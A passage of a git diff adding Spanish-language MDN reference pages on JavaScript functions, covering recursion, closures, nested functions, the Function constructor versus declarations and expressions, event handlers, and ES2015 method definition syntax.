+<p>Es posible convertir cualquier algoritmo recursivo en uno no recursivo, pero a menudo la lógica es mucho más compleja y hacerlo requiere el uso de una pila. De hecho, la recursión utiliza una pila: la pila de funciones.</p>
+
+<p>El comportamiento similar a la pila se puede ver en el ejemplo siguiente:</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">foo<span class="punctuation token">(</span></span>i<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="keyword token">if</span> <span class="punctuation token">(</span>i <span class="operator token">&lt;</span> <span class="number token">0</span><span class="punctuation token">)</span>
+      <span class="keyword token">return</span><span class="punctuation token">;</span>
+   document<span class="punctuation token">.</span><span class="function token">writeln<span class="punctuation token">(</span></span><span class="string token">'inicio:'</span> <span class="operator token">+</span> i<span class="punctuation token">)</span><span class="punctuation token">;</span>
+   <span class="function token">foo<span class="punctuation token">(</span></span>i <span class="operator token">-</span> <span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+   document<span class="punctuation token">.</span><span class="function token">writeln<span class="punctuation token">(</span></span><span class="string token">'fin:'</span> <span class="operator token">+</span> i<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="function token">foo<span class="punctuation token">(</span></span><span class="number token">3</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>que produce:</p>
+
+<pre class="language-html">inicio:3
+inicio:2
+inicio:1
+inicio:0
+fin:0
+fin:1
+fin:2
+fin:3
+</pre>
+
+<h2 id="Nested_functions_and_closures" name="Nested_functions_and_closures">Funciones anidadas y cierres</h2>
+
+<p>Puede anidar una función dentro de una función. La función anidada (inner) es privada a la función que la contiene (outer). También con la forma: aclosure.</p>
+
+<dl>
+ <dd>Un cierre es una expresión (normalmente una función) que puede tener variables libres junto con un entorno que enlaza esas variables (que "cierra" la expresión).<br>
+ Dado que una función anidada es un cierre, esto significa que una función anidada puede "heredar" los argumentos y las variables de su función contenedora. En otras palabras, la función interna contiene el ámbito de la función externa. <a class="external" href="http://jibbering.com/faq/faq_notes/closures.html"> </a></dd>
+</dl>
+
+<p>Desde que la función anidada es un cierre (closure), esto significa que una función anidada puede "heredar" los argumentos y variables de su función contenedora. En otras palabras, la función interna contiene un scope (alcance) de la función externa.</p>
+
+<p><span class="external">Para resumir: </span></p>
+
+<ul>
+ <li><span class="external">La función interna se puede acceder sólo a partir de sentencias en la función externa. </span></li>
+</ul>
+
+<ul>
+ <li><span class="external">La función interna forma un cierre: la función interna puede utilizar los argumentos y las variables de la función externa, mientras que la función externa no puede utilizar los argumentos y las variables de la función interna. </span></li>
+</ul>
+
+<p><span class="external">El ejemplo siguiente muestra funciones anidadas: </span></p>
+
+<pre class="eval"><span class="brush: js">function addCuadrado(a,b) {
+   function cuadrado(x) {
+      return x * x;
+   }
+   return cuadrado(a) + cuadrado(b);
+}
+a = addCuadrado(2,3); // retorna 13
+b = addCuadrado(3,4); // retorna 25
+c = addCuadrado(4,5); // retorna 41
+</span></pre>
+
+<p><span class="external">Dado que la función interna forma un cierre, puede llamar a la función externa y especificar argumentos para la función externa e interna</span></p>
+
+<pre class="eval"><span class="brush: js">function fuerade(x) {
+   function dentro(y) {
+      return x + y;
+   }
+   return dentro;
+}
+resultado = fuerade(3)(5); // retorna 8
+</span></pre>
+
+<h3 id="Efficiency_considerations" name="Efficiency_considerations"><span class="external">Consideraciones sobre la eficiencia</span></h3>
+
+<p><span class="external">Observe cómo se conserva <code>x</code> cuando se devuelve <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: #eeeeee;">dentro</span></font>. Un cierre conserva los argumentos y las variables en todos los ámbitos que contiene. Puesto que cada llamada proporciona argumentos potencialmente diferentes, debe crearse un cierre para cada llamada a la función externa. En otras palabras, cada llamada a <code>fuerade</code> crea un cierre. Por esta razón, los cierres pueden usar una gran cantidad de memoria. La memoria se puede liberar sólo cuando el <code>dentro</code> devuelto ya no es accesible. En este caso, el cierre del <code>dentro</code> se almacena en <code>resultado</code>. Como el <code>resultado</code> está en el ámbito global, el cierre permanecerá hasta que se descargue el script (en un navegador, esto sucedería cuando la página que contiene el script esté cerrada).</span></p>
+
+<p><span class="external">Debido a esta ineficiencia, evite cierres siempre que sea posible, es decir, evite las funciones de anidamiento siempre que sea posible. Por ejemplo, considere el siguiente ejemplo:</span></p>
+
+<pre class="eval"><span class="brush: js">function assignOnclick(elemento) {
+   element.onclick = function() {
+      this.style.backgroundColor = 'blue';
+   };
+}
+</span></pre>
+
+<p><span class="external">Esto se puede volver a escribir para evitar el cierre. Sin embargo, la función interna anónima necesitaría ser nombrada y ya no sería privada para <code>assignOnclick</code>: </span></p>
+
+<pre class="eval"><span class="brush: json">function assignOnclick(elemento) {
+   elemento.onclick = elemento_onclick;
+}
+
+function elemento_onclick() {
+   this.style.backgroundColor = 'blue';
+}
+</span></pre>
+
+<h4 id="Multiply-nested_functions" name="Multiply-nested_functions">Multiples funciones anidadas</h4>
+
+<p><span class="external">Las funciones pueden ser anidadas contigua de la otra, es decir, una función (A) que contiene una función (B) que contiene una función (C), etc. Ambas funciones B y C forman cierres aquí, por lo que B puede acceder a A y C pueden acceder a B. Además, como C puede acceder a B, que puede acceder a A, C también puede acceder a A. Por lo tanto, los cierres pueden contener múltiples ámbitos; contienen recursivamente el alcance de las funciones que lo contienen. Esto es llamado encadenamiento de objetos(<em>scope chaining</em>). (Por qué se llama "<em>chaining</em>"("encadenamiento") se explicará más adelante.)</span></p>
+
+<p><span class="external">Considere el siguiente ejemplo:</span></p>
+
+<pre class="eval"><span class="brush: js">function A(x) {
+   function B(y) {
+      function C(z) {
+         alert(x + y + z);
+      }
+      C(3);
+   }
+   B(2);
+}
+A(1); // alerts 6 (1 + 2 + 3)
+</span></pre>
+
+<p><span class="external">En este ejemplo, <code>C</code> accede a las <code>B</code> que hayan en <code>y</code> y <code>A</code> en <code>x</code>. Esto se puede hacer porque: </span></p>
+
+<ol>
+ <li><span class="external"><code>B</code> forma un cierre que incluye a <code>A</code>, es decir, <code>B</code> puede acceder a los argumentos y variables de <code>A</code>. </span></li>
+ <li><span class="external"><code>C</code> forma un cierre que incluye a <code>B</code>. </span></li>
+ <li><span class="external">Como el cierre de <code>B</code> incluye a <code>A</code>, el cierre de <code>C</code> incluye a <code>A</code>, <code>C</code> puede acceder a los argumentos y variables de la Banda <code>A</code>. En otras palabras, codifica los ámbitos de <code>B</code> y A en ese orden. </span></li>
+</ol>
+
+<p><span class="external">Lo contrario, sin embargo, no es cierto. <code>A</code> no puede acceder a <code>C</code>, porque <code>A</code> no puede acceder a ningún argumento o variable de <code>B</code>, que <code>C</code> es una variable de. Así, <code>C</code> permanece privado de sólo <code>B</code>. </span></p>
+
+<h3 id="Conflictos_de_nombre" name="Conflictos_de_nombre"><span class="external">Conflictos de nombre </span></h3>
+
+<p><span class="external">Cuando dos argumentos o variables en los ámbitos de un cierre tienen el mismo nombre, existe un conflicto de nombres("<em>name conflict</em>"). Más alcances internos tienen prioridad, por lo que el alcance más interno tiene la más alta precedencia, mientras que el alcance más externo toma el más bajo. Esta es la cadena de alcance. El primero en la cadena es el alcance más interno, y el último es el alcance más exterior. Considera lo siguiente:</span></p>
+
+<pre class="eval"><span class="brush: js">function fuerade() {
+   var x = 10;
+   function dentro(x) {
+      return x;
+   }
+   return dentro;
+}
+resultado = fuerade()(20); // retorna 20 en lugar de 10</span>
+</pre>
+
+<p><span class="external">El conflicto de nombres ocurre en la sentencia <code>return x</code> y está entre el parámetro <code>x</code> del <code>dentro</code>y la variable <code>x</code> del <code>fuerade</code>. La cadena de alcance aquí es {<code>dentro</code>, <code>fuerade</code>, global object}. Por lo tanto, la <code>x</code> de <code>inside</code>tiene precedentes sobre la <code>x</code> de <code>fuerade</code>, y 20 (<code>dentro</code>de <code>x</code>) se devuelve en lugar de 10 (<code>fuerade</code> de <code>x</code>).</span></p>
+
+<h2 id="constructor_versus_declaration_versus_expression" name="constructor_versus_declaration_versus_expression"><span class="external">Constructor vs declaración vs expresión</span></h2>
+
+<p><span class="external">Las diferencias entre la <code>Function</code> constructora, la de declaración y la de expresión. </span></p>
+
+<p><span class="external">Compare lo siguiente: </span></p>
+
+<ol>
+ <li><span class="external">Una función definida con el constructor <code>Function</code> asignado a la variable <code>multiply</code>                                                                                                                    </span>
+
+  <pre><span class="brush: js">var multiply = new Function("x", "y", "return x * y;");
+</span></pre>
+ </li>
+ <li><span class="external">Una declaración de una función denominada <code>multiply</code>                                                 </span>
+  <pre><span class="brush: js">function multiply(x, y) {
+   return x * y;
+}
+</span></pre>
+ </li>
+ <li><span class="external">Una expresión de función anónima asignada a la variable <code>multiply</code>                          </span>
+  <pre><span class="brush: js">var multiply = function(x, y) {
+   return x * y;
+}
+</span></pre>
+ </li>
+ <li><span class="external">Una declaración de una función denominada <code>func_name</code> asignada a la variable <code>multiply</code>                                                                                                                 </span>
+  <pre><span class="brush: js">var multiply = function func_name(x, y) {
+   return x * y;
+}
+</span></pre>
+ </li>
+</ol>
+
+<p><span class="external">Todos hacen aproximadamente la misma cosa, con algunas diferencias sutiles:</span></p>
+
+<ul>
+ <li><span class="external">Existe una distinción entre el nombre de la función y la variable a la que se asigna la función:</span><span class="external"> </span>
+
+  <ul>
+   <li><span class="external">El nombre de la función no se puede cambiar, mientras que la variable a la que se asigna la función puede ser reasignada.</span></li>
+   <li><span class="external">El nombre de la función sólo se puede utilizar en el cuerpo de la función. Intentar utilizarlo fuera del cuerpo de la función da como resultado un error (o <code>undefined</code> si el nombre de la función se declaró previamente mediante una instrucción <code>var</code>). Por ejemplo:                                                                                                           </span>
+    <pre><span class="brush: js">var y = function x() {};
+alert(x); // arroja un error
+</span></pre>
+
+    <p><span class="external">El nombre de la función también aparece cuando la función se serializa vía el método de la </span><code>Function</code> 'toString'.</p>
+
+    <p>Por otro lado, la variable a la que se asigna la función está limitada sólo por su ámbito, que está garantizado para incluir el ámbito en el que se declara la función.</p>
+   </li>
+   <li>Como muestra el ejemplo 4, el nombre de la función puede ser diferente de la variable a la que se asigna la función. No tienen relación entre sí.</li>
+  </ul>
+ </li>
+ <li>Una declaración de función también crea una variable con el mismo nombre que el nombre de la función. Por lo tanto, a diferencia de las definidas por las expresiones de función, las funciones definidas por las declaraciones de función se puede acceder por su nombre en el ámbito que se definieron en:
+  <pre class="brush: js">function x() {}
+alert(x); // salida x serializado en un string
+</pre>
+
+  <p>El siguiente ejemplo muestra cómo los nombres de las funciones no están relacionados con las variables a las que están asignadas las funciones. Si una "variable de función" se asigna a otro valor, seguirá teniendo el mismo nombre de función:</p>
+
+  <pre class="brush: js">function foo() {}
+alert(foo); // el string alterado contiene el nombre
+            // de la función "foo"
+var bar = foo;
+alert(bar); // el string todavía contiene el nombre
+            // de la función "foo"
+</pre>
+ </li>
+ <li>Una función definida por un<code>Function</code> no tiene un nombre de función. Sin embargo, en el <a href="/es/docs/Mozilla/Projetos/SpiderMonkey">SpiderMonkey</a> en el motor de JavaScript, la forma serializada de la función muestra como si tuviera el nombre "anónimo"("anonymous"). Por ejemplo, <code>alert(new Function())</code> salida:
+  <pre class="brush: js">function anonymous() {
+}
+</pre>
+
+  <p>Dado que la función en realidad no tiene un nombre, <code>anonymous</code> no es una variable que se puede acceder dentro de la función. Por ejemplo, lo siguiente resultaría en un error:</p>
+
+  <pre class="brush: js">var foo = new Function("alert(anonymous);");
+foo();
+</pre>
+ </li>
+ <li>A diferencia de las funciones definidas por expresiones de función o constructores <code>Function</code> se puede utilizar una función definida por una declaración de función antes de la propia declaración de la función. Por ejemplo:
+  <pre class="brush: js">foo(); // alerts FOO!
+function foo() {
+   alert('FOO!');
+}
+</pre>
+ </li>
+ <li>Una función definida por una expresión de función hereda el ámbito actual. Es decir, la función forma un cierre. Por otro lado, una función definida por un constructor de <code>Function</code> no hereda ningún ámbito que no sea el ámbito global (que todas las funciones heredan).</li>
+ <li>Las funciones definidas por expresiones de función y declaraciones de función son analizadas una sola vez, mientras que las definidas por el constructor de <code>Function</code> no lo son. Es decir, la cadena de cuerpo de función pasada al constructor de <code>Function</code> debe ser analizada cada vez que se evalúa.  Aunque una expresión de función crea un cierre cada vez, el cuerpo de la función no es reparsed, por lo que las expresiones de función son aún más rápido que "<code>new Function(...)</code>". Por lo tanto, el constructor de la <code>Function</code> debe evitarse siempre que sea posible.</li>
+</ul>
+
+<p>Una declaración de función es muy fácilmente (ya menudo involuntariamente) convertida en una expresión de función. Una declaración de función deja de ser una cuando:</p>
+
+<ul>
+ <li>Se convierte en parte de una expresión</li>
+ <li>Ya no es un "elemento fuente" de una función o el propio script. Un "elemento de origen" es una sentencia no anidada en el script o un cuerpo de función:
+  <pre class="brush: js">var x = 0;               // elemento fuente
+if (x == 0) {            // elemento fuente
+   x = 10;               // no es un elemento fuente
+   function boo() {}     // no es un elemento fuente
+}
+function foo() {         // elemento fuente
+   var y = 20;           // elemento fuente
+   function bar() {}     // elemento fuente
+   while (y == 10) {     // elemento fuente
+      function blah() {} // no es un elemento fuente
+      y++;               // no es un elemento fuente
+   }
+}
+</pre>
+ </li>
+</ul>
+
+<p>Ejemplos:</p>
+
+<ul>
+ <li>
+  <pre class="brush: js">// function declaración
+function foo() {}
+
+// expresión de una función
+(function bar() {})
+
+// expresión de una función
+x = function hello() {}
+</pre>
+ </li>
+ <li>
+  <pre class="brush: js">if (x) {
+   // expresión de la función
+   function world() {}
+}
+</pre>
+ </li>
+ <li>
+  <pre class="brush: js">// instrucción de la función
+function a() {
+   // instrucción de la función
+   function b() {}
+   if (0) {
+      // expresión de la función
+      function c() {}
+   }
+}
+</pre>
+ </li>
+</ul>
+
+<h3 id="Conditionally_defining_a_function" name="Conditionally_defining_a_function">Definición condicional de una función</h3>
+
+<p>Las funciones se pueden definir de forma condicional utilizando expresiones de función o el constructor <code>Function</code>.</p>
+
+<p>En la siguiente secuencia de comandos, la función <code>zero</code> nunca se define y no se puede invocar, porque '<code>if (0)</code>' se evalúa como false:</p>
+
+<pre class="brush: js">if (0)
+   function zero() {
+      document.writeln("Esto es zero.");
+   }
+</pre>
+
+<p>Si se cambia el script para que la condición se convierta en '<code>if (1)</code>', se define la función <code>zero</code>.</p>
+
+<div class="note">
+<p>Nota: Aunque esto parece una declaración de función, ésta es en realidad una expresión de función ya que está anidada dentro de otra instrucción. Ver <a href="#constructor_versus_declaration_versus_expression">las diferencias entre las funciones de declaración y de expresión</a>.</p>
+</div>
+
+<div class="note">
+<p>Nota: Algunos motores JavaScript, sin incluir <a href="/es/docs/Mozilla/Projetos/SpiderMonkey">SpiderMonkey</a>, tratan incorrectamente cualquier expresión de función con un nombre como una declaración de función. Esto llevaría a que se definiera <code>zero</code> incluso con el siempre-falso("<em>always-false</em>") condicional. Una manera más segura de definir funciones condicionalmente es definir la función anónimamente y asignarla a una variable:</p>
+</div>
+
+<pre class="brush: js">if (0)
+   var zero = function() {
+      document.writeln("Esto es zero.");
+   }
+</pre>
+
+<h2 id="Functions_as_event_handlers" name="Functions_as_event_handlers">Funciones como manejadores de eventos</h2>
+
+<p>En JavaScript, los controladores de eventos <a href="es/DOM">DOM</a> son funciones (en oposición a los objetos que contienen un método <code>handleEvent</code> en otros enlaces de idioma DOM). Las funciones se pasan un objeto de <a href="es/DOM/event">evento</a> como el primer y único parámetro. Como cualquier otro parámetro, si el objeto de evento no necesita ser utilizado, puede omitirse en la lista de parámetros formales.</p>
+
+<p>Los posibles objetivos de eventos en un documento <a href="es/HTML">HTML</a> incluyen: <code>window</code> (<code>Window</code> objects("objeto de ventana"), including frames("marcos")), <code>document</code> (<code>HTMLDocument</code> objects("objetos HTMLDocument")), y elementos (<code>Element</code> objects("objetos Elemento")). En el <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/">HTML DOM</a>, los destinos de evento tienen propiedades de controlador de eventos. Estas propiedades son nombres de eventos en minúsculas con prefijo "on", e.g. <code>onfocus</code>. Los eventos <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/">DOM Level 2 Events</a> proporcionan una forma alternativa y más sólida de agregar oyentes de eventos.</p>
+
+<div class="note">
+<p>Nota: Los eventos son parte del DOM, no de JavaScript. (JavaScript simplemente proporciona un enlace al DOM.)</p>
+</div>
+
+<p>El ejemplo siguiente asigna una función a un manejador de eventos de "foco"("focus") de ventana.</p>
+
+<pre>window.onfocus = function() {
+   document.body.style.backgroundColor = 'white';
+}
+</pre>
+
+<p>Si se asigna una función a una variable, puede asignar la variable a un controlador de eventos. El siguiente código asigna una función a la variable <code>setBGColor</code>.</p>
+
+<pre>var setBGColor = new Function("document.body.style.backgroundColor = 'white';");
+</pre>
+
+<p>Puede utilizar esta variable para asignar una función a un controlador de eventos de varias maneras. Aquí hay dos formas:</p>
+
+<ol>
+ <li>Escritura con propiedades de evento DOM HTML<br>
+
+  <pre>document.form1.colorButton.onclick = setBGColor;
+</pre>
+ </li>
+ <li>Atributo de evento HTML<br>
+
+  <pre>&lt;input name="colorBoton" type="button"
+   value="Cambia color de fondo"
+   onclick="setBGColor();"/&gt;
+</pre>
+
+  <p>Un manejador de eventos establecido de esta manera es en realidad una función, denominada después del atributo, envuelta alrededor del código especificado. Esta es la razón por la que los paréntesis en "<code>setBGColor()</code>" son necesarios aquí (en lugar de sólo "<code>setBGColor</code>").</p>
+ </li>
+</ol>
+
+<p>Es equivalente a:</p>
+
+<pre>document.form1.colorButton.onclick = function onclick(event) {
+   setBGColor();
+}
+</pre>
+
+<p>Observe cómo se pasa el objeto de evento a esta función anónima como <code>event</code> de parámetro. Esto permite que el código especificado utilice el objeto Evento("Event object)":</p>
+
+<pre>&lt;input ...
+    onclick="alert(event.target.tagName);"/&gt;
+</pre>
+
+<p>Al igual que cualquier otra propiedad que se refiere a una función, el controlador de eventos puede actuar como un método, y <code>this</code> se refiere al elemento que contiene el controlador de eventos. En el ejemplo siguiente, se llama a la función referida por <code>onfocus</code> con <code>this</code> igual a <code>window</code>.</p>
+
+<pre class="eval">window.onfocus();
+</pre>
+
+<p>Un error común de principiante de JavaScript es el añadir paréntesis y / o parámetros al final de la variable, es decir, llamar al manejador de eventos cuando lo asigna. La adición de estos paréntesis asignará el <em>valor devuelto al llamar al manejador de eventos</em>, que a menudo es <code>undefined</code> (si la función no devuelve nada), en lugar del controlador de eventos en sí:</p>
+
+<pre class="eval">document.form1.button1.onclick = setBGColor();
+</pre>
+
+<p>Para pasar parámetros a un manejador de eventos, el manejador debe ser envuelto en otra función de la siguiente manera:</p>
+
+<pre class="eval">document.form1.button1.onclick = function() {
+   setBGColor('Algun valor');
+};
+</pre>
+
+<h3 id="Backward_compatibility" name="Backward_compatibility">Compatibilidad con versiones anteriores</h3>
+
+<h4 id="JavaScript_1.1_and_earlier" name="JavaScript_1.1_and_earlier">JavaScript 1.1 y anteriores</h4>
+
+<p>No puede anidar una sentencia de función en otra instrucción o en sí misma.</p>
+
+<h3 id="Local_variables_within_functions" name="Local_variables_within_functions">Variables locales dentro de las funciones</h3>
+
+<p><a href="es/Referencia_de_JavaScript_1.5/Funciones/arguments">arguments</a>: Objeto similar a una matriz que contiene los argumentos pasados a la función en ejecución.</p>
+
+<p><a href="es/Referencia_de_JavaScript_1.5/Funciones/arguments/callee">arguments.callee</a>: Especifica la función en ejecución.</p>
+
+<p><a href="es/Referencia_de_JavaScript_1.5/Funciones/arguments/caller">arguments.caller</a>: Especifica la función que invocó la función en ejecución.</p>
+
+<p><a href="es/Referencia_de_JavaScript_1.5/Funciones/arguments/length">arguments.length</a>: Especifica el número de argumentos pasados a la función.</p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<h4 id="1.29_Returning_a_formatted_number" name="1.29_Returning_a_formatted_number">1) Devolver un número con formato</h4>
+
+<p>La siguiente función devuelve una cadena que contiene la representación formateada de un número rellenado con ceros a la izquierda.</p>
+
+<pre class="eval">// Esta función devuelve una cadena rellenada con ceros a la izquierda
+
+function padZeros(num, totalLen) {
+   var numStr = num.toString();             // Inicializa un valor de retorno como cadena
+   var numZeros = totalLen - numStr.length; // Calcula el no. de ceros
+   for (var i = 1; i &lt;= numZeros; i++) {
+      numStr = "0" + numStr;
+   }
+   return numStr;
+}
+</pre>
+
+<p>Las siguientes sentencias llaman a la función padZeros.</p>
+
+<pre class="eval">var resultado;
+resultado = padZeros(42,4); // retorna "0042"
+resultado = padZeros(42,2); // retorna "42"
+resultado = padZeros(5,4);  // retorna "0005"
+</pre>
+
+<h4 id="2.29_Determining_whether_a_function_exists" name="2.29_Determining_whether_a_function_exists">2) Determinar si existe una función</h4>
+
+<p>Puede determinar si existe una función utilizando el operador <code>typeof</code>. En el ejemplo siguiente, se realiza una prueba para determinar si el objeto <code>window</code> tiene una propiedad llamada <code>noFunc</code> que es una función. Si es así, se utiliza; de lo contrario, se tomarán otras medidas.</p>
+
+<pre> if ('function' == typeof window.noFunc) {
+   // utiliza noFunc()
+ } else {
+   // hacer algo mas
+ }
+</pre>
+
+<div class="note">
+<p>Nota: Tenga en cuenta que en la prueba <code>if</code>, e utiliza una referencia a <code>noFunc</code> aquí no hay paréntesis "()" después del nombre de la función para que la función real no se llame.</p>
+</div>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p><a href="es/Referencia_de_JavaScript_1.5/Objetos_globales/Function">Function</a>, <a href="es/Referencia_de_JavaScript_1.5/Sentencias/function">sentencia function</a>, <a href="es/Referencia_de_JavaScript_1.5/Operadores/Operadores_globales/function">operador function</a></p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions", "ru": "ru/\u042f\u0434\u0440\u043e_JavaScript_1.5_\u0421\u043f\u0440\u043e\u0432\u0447\u043d\u0438\u043a/Functions", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions", "ja": "ja/Core_JavaScript_1.5_Reference/Functions" } ) }}</p>
diff --git a/files/es/web/javascript/referencia/funciones/method_definitions/index.html b/files/es/web/javascript/referencia/funciones/method_definitions/index.html
new file mode 100644
index 0000000000..2aa23ca9b3
--- /dev/null
+++ b/files/es/web/javascript/referencia/funciones/method_definitions/index.html
@@ -0,0 +1,226 @@
+---
+title: Method definitions
+slug: Web/JavaScript/Referencia/Funciones/Method_definitions
+translation_of: Web/JavaScript/Reference/Functions/Method_definitions
+---
+<div>{{JsSidebar("Functions")}}</div>
+
+<div>A partir de ECMAScript 2015 (ES6), se introdujo una sintaxis abreviada para la definición de métodos en inicializadores de objetos. Es una forma abreviada para la asignación de una función al nombre del método.</div>
+
+<div> </div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var obj = {
+  <var>property</var>( <var>parameters…</var> ) {},
+  *<var>generator</var>( <var>parameters…</var> ) {},
+// also with computed keys:
+  [property]( <var>parameters…</var> ) {},
+  *[generator]( <var>parameters…</var> ) {},
+// compare ES5 getter/setter syntax:
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {}
+};
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La sintaxis abreviada es similar a la introducida en ECMAScript 5 con <a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> y <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a>.</p>
+
+<p>Dado el siguiente código:</p>
+
+<pre class="brush: js">var obj = {
+  foo: function() {},
+  bar: function() {}
+};</pre>
+
+<p>Ahora se puede abreviar esto mismo como:</p>
+
+<pre class="brush: js">var obj = {
+  foo() {},
+  bar() {}
+};</pre>
+
+<div class="note">
+<p><strong>Nota :</strong> La sintaxis abreviada usa funciones con nombre en lugar de funciones anónimas (como en …<code>foo: function() {}</code>…). Las funciones con nombre pueden ser llamadas desde el cuerpo de la función (esto es imposible con funciones anónimas, ya que no existe un identificador al que referirse). Para más detalles, ver {{jsxref("Operators/function","function","#Examples")}}.</p>
+</div>
+
+<h3 id="Abreviatura_de_métodos_generadores">Abreviatura de métodos generadores</h3>
+
+<p>Los <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">métodos generadores</a> también pueden definirse usando la sintaxis abreviada. Note que el asterisco (*) en la sintaxis abreviada debe estar antes del nombre de propiedad del generador. Esto es, <code>* g(){}</code> funcionará, pero <code>g *(){}</code> no.</p>
+
+<pre class="brush: js;highlight[12]">// Usando una propiedad con nombre (pre-ES6)
+var obj2 = {
+  g: function*() {
+    var index = 0;
+    while(true)
+      yield index++;
+  }
+};
+
+// El mismo objeto, usando la sintaxis abreviada
+var obj2 = {
+  * g() {
+    var index = 0;
+    while(true)
+      yield index++;
+  }
+};
+
+var it = obj2.g();
+console.log(it.next().value); // 0
+console.log(it.next().value); // 1</pre>
+
+<h3 id="Las_definiciones_de_métodos_no_son_constructores_(instanciables_con_new)">Las definiciones de métodos no son constructores (instanciables con new)</h3>
+
+<p>Las las definiciones de métodos no son constructores y generarán un {{jsxref("TypeError")}} si intenta instanciarlos.</p>
+
+<pre class="brush: js example-bad">var obj = {
+  method() {},
+};
+new obj.method; // TypeError: obj.method no es un constructor
+
+var obj = {
+  * g() {}
+};
+new obj.g; // TypeError: obj.g no es un constructor (cambiado en ES2016)
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Caso_de_prueba_simple">Caso de prueba simple</h3>
+
+<pre class="brush: js;highlight[3]">var obj = {
+  a : "foo",
+  b(){ return this.a; }
+};
+console.log(obj.b()); // "foo"
+</pre>
+
+<h3 id="Nombres_de_propiedad_computados">Nombres de propiedad computados</h3>
+
+<p>La sintaxis abreviada también soporta nombres de propiedades computados.</p>
+
+<pre class="brush: js;highlight[4]">var bar = {
+  foo0 : function (){return 0;},
+  foo1(){return 1;},
+  ["foo" + 2](){return 2;},
+};
+
+console.log(bar.foo0()); // 0
+console.log(bar.foo1()); // 1
+console.log(bar.foo2()); // 2</pre>
+
+<h2 id="Especificaciónes">Especificaciónes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Cambiado el que los métodos generadores no deban tener una  trampa [[Construct]] y deban fallar cuando se usen con <code>new</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Definición de métodos abreviada</td>
+   <td>{{CompatChrome("39")}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("26")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Métodos generadors no son constructores (ES2016)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("43")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Definición de métodos abreviada</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Métodos generadores no son constructores (ES2016)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("43")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_específicas_para_SpiderMonkey">Notas específicas para SpiderMonkey</h2>
+
+<ul>
+ <li>Anteriormente a SpiderMonkey 38 {{geckoRelease(38)}},  "<code>get</code>" y "<code>set</code>" eran nombres no válidos para métodos generadores. Esto ha sido corregido en {{bug(1073809)}}.</li>
+ <li>Anteriormente a SpiderMonkey 41 {{geckoRelease(41)}}, las llaves no eran requeridas en las definiciones de métodos. Estas son requeridas de ahora en adelante conforme a la especificación ES6 y su omisión arrojará un {{jsxref("SyntaxError")}} en esta versión y posteriores ({{bug(1150855)}}).
+  <pre class="brush: js example-bad">var o = {x() 12}; // SyntaxError</pre>
+ </li>
+ <li>La restricción de que sólo los métodos generadores sean constructores fue implementada en SpiderMonkey 41 {{geckoRelease(41)}}. Ver también {{bug(1059908)}} y {{bug(1166950)}}.</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
